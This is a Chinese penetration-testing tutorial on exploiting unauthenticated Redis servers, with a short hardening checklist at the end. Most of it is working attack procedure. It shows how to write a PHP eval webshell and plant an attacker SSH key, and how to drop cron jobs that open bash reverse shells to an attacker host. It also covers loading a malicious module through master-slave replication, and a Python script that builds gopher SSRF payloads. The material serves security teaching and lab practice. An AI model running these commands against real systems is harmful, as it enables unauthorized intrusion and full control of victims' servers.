渗透测试-31:Redis
基础知识
-
端口号
:6379 -
sentinel.conf 端口号
:26379 -
官网:https://redis.io/docs/getting-started/installation/install-redis-on-windows/
-
Kali 安装 redis
# 卸载 apt-get purge --auto-remove redis-server # 安装 apt install gcc make wget http://download.redis.io/releases/redis-3.2.0.tar.gz tar -zxvf redis-3.2.0.tar.gz rm redis-3.2.0.tar.gz cd redis-3.2.0/ make # 配置 vim redis.conf bind 127.0.0.1 # 注释这行语句,代表任意机器都可以登录 redis protected-mode # 设为 no,代表关闭安全设置 cp redis.conf ./src/redis.conf ./src/redis-server redis.conf # 启动redis-server export PATH=/root/Desktop/redis-3.2.0/src:$PATH # 添加环境变量 netstat -ntulp # 检查服务
-
Ubuntu for Windows 安装 redis
apt-add-repository ppa:redislabs/redis apt-get update apt-get upgrade apt-get install redis-server service redis-server start # 测试 redis-cli 127.0.0.1:6379> ping PONG
-
连接 Redis 服务器
# 交互式方式 redis-cli -h <host> -p <port> # 命令方式 redis-cli -h <host> -p <port> <command>
-
常见命令
# 查看信息 info # 删除所有数据库内容 flushall # 刷新数据库 flushdb # 查看所有键,使用 select num 可以查看键值数据 keys * # 设置变量 set test "who am i" # 设置路径等配置 config set dir dirpath # 获取路径及数据配置信息 config get dir/dbfilename # 保存 save # 变量,查看变量名称 get
Redis未授权访问
未授权访问原因
- 配置登录策略导致任意机器都可以登录 redis
- 未设置密码或者设置弱口令
测试
# 使用攻击机远程登录 redis 服务器
redis-cli -h <redis服务器IP>
写入文件getshell
-
利用条件:
- 未授权访问或密码已知
- 服务器开启 WEB 服务且 WEB 目录路径已知
-
写入 webshell
# 切换目录到网站的根目录 config set dir /var/www/html/ # 写入恶意代码到内存中(1) set x "\n\n\n<?php @eval($_POST['cmd']);?>\n\n\n" # 写入恶意代码到内存中(2) set xx "\n\n\n<?php phpinfo();?>\n\n\n" # 在磁盘中生成木马文件 config set dbfilename shell.php # 将内存之中的数据导出到磁盘文件 save
-
检查 webshell
-
kali 开启 apache
# 修改 apache2 默认监听端口号为 8080 vim /etc/apache2/ports.conf # 在终端输入 /etc/init.d/apache2 start
-
测试:在浏览器中访问 <redis 服务器IP>:8080/shell.php,成功回显 phpinfo 后用蚁剑进行连接
-
写入SSH公钥远程连接
-
利用条件:
- redis 以 root 身份运行
- 未授权访问或密码已知
- 服务器开放 SSH 服务且允许密钥登录
-
redis 服务器开启 ssh 服务
/etc/init.d/ssh start service ssh status
-
修改 redis 服务器密码
# 登录 redis 服务器 redis-cli -h <redis服务器IP> # 修改密码 config set requirepass <密码> exit # 测试登录 redis 服务器 redis-cli -h <redis服务器IP> -a <密码>
-
攻击机生成 ssh-rsa 密匙
ssh-keygen -t rsa
-
将攻击机的 ssh 密钥写入到 redis 服务器的内存
# 导出 key(\n\n是为了防止乱码) (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt # 将生成的公钥写入 redis 服务器的内存之中 cat key.txt | redis-cli -h <redis服务器IP> -a <密码> -x set xxx # 测试 redis-cli -h <redis服务器IP> -a <密码> keys * get xxx
-
redis 服务器将内存中的 ssh 密钥导出文件到磁盘(本质是更改 redis 的备份路径)
# 若 /root/.ssh 不存在会显示失败 config set dir /root/.ssh # 设置文件名(不能改成其他的)并导出 config set dbfilename authorized_keys save
-
攻击机登录 redis 服务器的 ssh
# 连接 ssh -i /root/.ssh/id_rsa root@<redis服务器IP> yes # 测试 ifconfig
计划任务反弹shell
-
利用条件:
- redis 以 root 身份运行
- 未授权访问或密码已知
-
攻击端开启监听
nc -lvp <PORT>
-
写入一句话
# 每分钟执行一次 set xx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/<攻击机IP>/<PORT> 0>&1\n\n" # 设置导出的路径 config set dir /var/spool/cron/ # Centos系列 config set dir /var/spool/cron/crontabs/ # Debian/Ubuntu系列 # 设置导出文件名为 root config set dbfilename root # 保存 save
或者
# 每分钟执行一次 echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/<攻击机IP>/<PORT> 0>&1\n\n" | redis-cli -h <redis服务器IP> -a <密码> -x set 1 # 设置导出的路径 redis-cli -h <redis服务器IP> -a <密码> config set dir /var/spool/cron/ # Centos系列 redis-cli -h <redis服务器IP> -a <密码> config set dir /var/spool/crontabs/ # Debian/Ubuntu系列 # 设置导出文件名为 root redis-cli -h <redis服务器IP> -a <密码> config set dbfilename root # 保存 redis-cli -h <redis服务器IP> -a <密码> save
主从复制RCE
-
利用条件:
- 未授权访问或密码已知
- Redis <= 5.0.5
-
测试版本:
redis-4.0.0.tar.gz
-
原理:
-
未授权的 redis 会导致 getshell,而这种方式是通过写文件来完成 getshell 的,这种方式的主要问题在于,redis 保存的数据并不是简单的 json 或者是 csv,所以写入的文件都会有大量的无用数据,利用 crontab、ssh key、webshell 这样的文件都有一定容错性,再加上 crontab 和 ssh 服务可以说是服务器的标准的服务,所以在以前,这种通过写入文件的 getshell 方式基本就可以说是很通杀了。
-
但随着现代的服务部署方式的不断发展,组件化成了不可逃避的大趋势,docker 就是这股风潮下的产物之一,而在这种部署模式下,一个单一的容器中不会有除 redis 以外的任何服务存在,包括 ssh 和 crontab,再加上权限的严格控制,只靠写文件就很难再 getshell 了,在这种情况下,我们就需要其他的利用手段了。
-
在
Redis 4.x、5.x
版本中,提供了主从模式,主从模式指使用一个 redis 作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。 -
在
Reids 4.x
之后,通过外部拓展,可以在 redis 中实现一个新的 redis 命令,构造恶意 .so 文件。 -
在两个 redis 实例设置主从模式的时候,redis 的主机实例可以通过 FULLRESYNC 同步文件到从机上,然后在从机上加载恶意 .so 文件,即可执行命令。
-
简单的说,攻击者(主机)写一个so文件,然后通过 FULLRESYNC(全局)同步文件到受害人(从机)上。
-
-
EXP下载:
注意:目标靶机是不能开启保护模式
# 未授权 git clone https://github.com/n0b0dyCN/redis-rogue-server # 有密码 git clone https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
-
反弹shell
# 攻击机 nc -lvp <PORT> python3 redis_rogue_server.py -rhost <redis服务器IP> -passwd <密码> -lhost <本机IP> # 选项:i/r => <redis服务器IP> => <PORT> => python3 -c "import pty;pty.spawn('/bin/bash')"
本地Redis主从复制RCE或反弹shell
-
测试版本:
redis-4.0.0.tar.gz
-
原理:
- 上述的原理是,目标机器的 redis 可以被远程其他的机器登录。然后执行脚本内写死的一些命令,利用这些命令我们就可以执行系统命令。
- 问题来了,假如目标机器仅仅允许本地进行登录的时候,上述利用就直接暴毙。
- 这个时候,我们可以通过配合其他漏洞,从目标本地登录 redis。
- 然后手动执行脚本内写死的一些命令(这些命令的意思是将本机(靶机)redis 作为从机,将攻击机器设置为主机,然后攻击机会自动将一些恶意 so 文件同步给目标机器(从机)),从而来实现对目标机器的远程命令执行。
-
EXP下载:
将
redis-rogue-server/
的 exp.so 文件复制到Awsome-Redis-Rogue-Server/
文件夹中使用,因为 exp.so 带 system 模块# 未授权 git clone https://github.com/n0b0dyCN/redis-rogue-server # 有密码 git clone https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
-
攻击机配置 Redis 主从同步
# 开启主服务器 python3 redis_rogue_server.py -v -path exp.so # 查看是否存在模块 module list # 一般 tmp 目录都有写权限,所以选择这个目录写入 config set dir /tmp # 设置导出文件的名字 config set dbfilename exp.so # 进行主从同步,将恶意 so 文件写入到 /tmp slaveof <攻击机IP> 15000 slaveof <redis服务器IP> 15000 # 可看到主服务器上 FULLRESYNC 全局同步数据中,将恶意的 exp.so 同步到 redis 服务器上 # 查看是否存在模块 module list # 加载写入的恶意 so 文件模块 module load ./exp.so # 查看恶意 so 有没有加载成功,主要是有没有 “system” module list
-
反弹shell
# 方法一 nc -lvp <PORT> system.rev <攻击机IP> <PORT> # 方法二 system.exec "<命令>"
-
关闭主从同步
slaveof NO ONE
通过SSRF反弹shell
知识拓展
RESP协议
-
定义:
- redis 客户端与服务端通信,使用 RESP(Redis Serialization Protocal,redis 序列化协议)协议通信,该协议是专门为 redis 设计的通信协议,但也可以用于其它
客户端-服务器
通信的场景。 - RESP 可以用于序列化不同的数据类型,客户端发送请求时,以字符串数组作为待执行命令的参数。
- 在 Redis 中,协议数据分为不同的类型,每种类型的数据均以 CRLF(\r\n 换行符)结束,通过数据的首字符区分类型。
- redis 客户端与服务端通信,使用 RESP(Redis Serialization Protocal,redis 序列化协议)协议通信,该协议是专门为 redis 设计的通信协议,但也可以用于其它
-
RESP 协议支持的数据类型:
内联命令(inline command)
:这类数据表示 Redis 命令,首字符为 Redis 命令的字符,格式为str1 str2 str3 …
。如:exists key1
, 命令和参数以空格分隔。简单字符串(Simple Strings)
:首字符为+
,后续字符为 string 的内容,且该 string 不能包含\r
或者\n
两个字符,最后以\r\n
结束。如:+OK\r\n
,表示OK
这个 string 数据。批量字符串(Bulk Strings)
:bulk string
首字符为$
,紧跟着的是 string 数据的长度,\r\n
后面是内容本身(包含\r
、\n
等特殊字符),最后以\r\n
结束。如:$12\r\nhello\r\nworld\r\n
- 上面字节串描述了
hello\r\nworld
的内容(中间有个换行)。对于" "
空串和null
,通过$
之后的数字进行区分:$0\r\n\r\n
表示空串;$-1\r\n
表示null
。
整数(Integers)
:以:
开头,后面跟着整型内容,最后以\r\n
结尾。如::13\r\n
,表示13
的整数。数组(Arrays)
:- 以
*
开头,紧跟着数组的长度,\r\n
之后是每个元素的序列化数据。如:*2\r\n+abc\r\n:9\r\n
表示一个长度为2
的数组:["abc", 9]
。数组长度为0
或-1
分别表示空数组
或null
。 - 数组的元素本身也可以是数组,多级数组是树状结构,采用先序遍历的方式序列化。如:
[[1, 2], ["abc"]]
,序列化为:*2\r\n*2\r\n:1\r\n:2\r\n*1\r\n+abc\r\n
。
- 以
- 错误数据(Errors)
*3 # 代表数组的长度,如:["set","name","Toki"] $4 # 代表字符串的长度,如:"Toki" 0d0a # 即 \r\n 表示 linux 的换行符 +OK # 表示服务端执行成功后返回的字符串
Gopher协议
-
定义:在 http 出现之前,访问网页需要输入的是
gopher://gopher.baidu.com/
,而不是https://www.baidu.com/
,而它被代替的原因一方面是收费,另一方面的原因是它固化的结构没有 HTML 网页灵活。gopher 协议支持 GET&POST 请求,常用于攻击内网 ftp、redis、telnet、smtp 等服务,还可以利用 gopher 协议访问 redis 反弹 shell -
协议格式:
gopher://<IP>:<port>/_<TCP/IP数据流>
,<port>
默认为70
-
协议的实现:gopher 会将后面的数据部分发送给相应的端口,这些数据可以是字符串,也可以是其他的数据请求包,比如 GET、POST 请求,redis,mysql 未授权访问等,同时数据部分必须要进行 url 编码,这样 gopher 协议才能正确解析。
-
支持 gopher 协议的有 curl 和 libcurl
# nc 监听 nc -lvp <PORT> # 使用 curl 来发起 Gopher 请求 curl gopher://<IP>:<PORT>/_hello # 发送 http get 请求,get.php 中写入 <?php echo "Hello"." ".$_GET['name']."\n"?> curl gopher://<IP>:<PORT>/_GET%20/get.php%3fname=Toki%20HTTP/1.1%0d%0aHost:%20<IP>%0d%0a # 发送 http post 请求,post.php 中写入 <?php echo "Hello".$_POST['name']."\n";?> curl gopher://<IP>:<PORT>/_POST%20/post.php%20HTTP/1.1%0d%0AHost:<IP>%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0aContent-Length:11%0d%0a%0d%0aname=Toki%0d%0a
-
gopher 语句生成工具:https://github.com/tarunkant/Gopherus
gopherus --exploit redis # 选项:phpshell => /var/www/html => <?php echo "hello world"; ?>
-
在线靶场:https://buuoj.cn/
漏洞复现
-
目标靶机:
get.php
<?php $url = $_GET['url']; echo $url; #var_dump(curl_version()); $curlobj = curl_init($url); echo curl_exec($curlobj); ?>
-
攻击机 nc 监听
nc -lvp <PORT>
-
攻击机执行脚本
#!/usr/bin/python # -*- coding: UTF-8 -*- import urllib2,urllib url = "http://<目标靶机IP>/get.php?url=" gopher = "gopher://<目标靶机IP>:6379/_" # 攻击脚本,5 个星号代表每分钟执行一次 data = """"set xxx "\\n* * * * * root bash -i >& /dev/tcp/<攻击机IP>/<PORT> 0>&1\\n" config set dir /etc/ config set dbfilename crontab save """ def encoder_url(data): encoder = "" for single_char in data: # 先转为ASCII encoder += str(hex(ord(single_char))) encoder = encoder.replace("0x","%").replace("%a","%0d%0a") return encoder # 二次编码 encoder = encoder_url(encoder_url(data)) # 生成 payload payload = url + urllib.quote(gopher,'utf-8') + encoder # 发起请求 request = urllib2.Request(payload) response = urllib2.urlopen(request).read()
Redis全防护
Redis 的安全设置(设置完后需要重加载配置文件启动 redis)
- 绑定内网 IP 地址进行访问
- requirepass 设置 redis 密码
- 开启保护模式 protected-mode(默认开启)
- 修改默认端口
- 单独为 redis 设置一个普通账号以低权限运行 Redis 服务
- 禁止一些高危命令
- 禁止外网访问 Redis
- 设置防火墙策略
- 保证 authorized_keys 文件的安全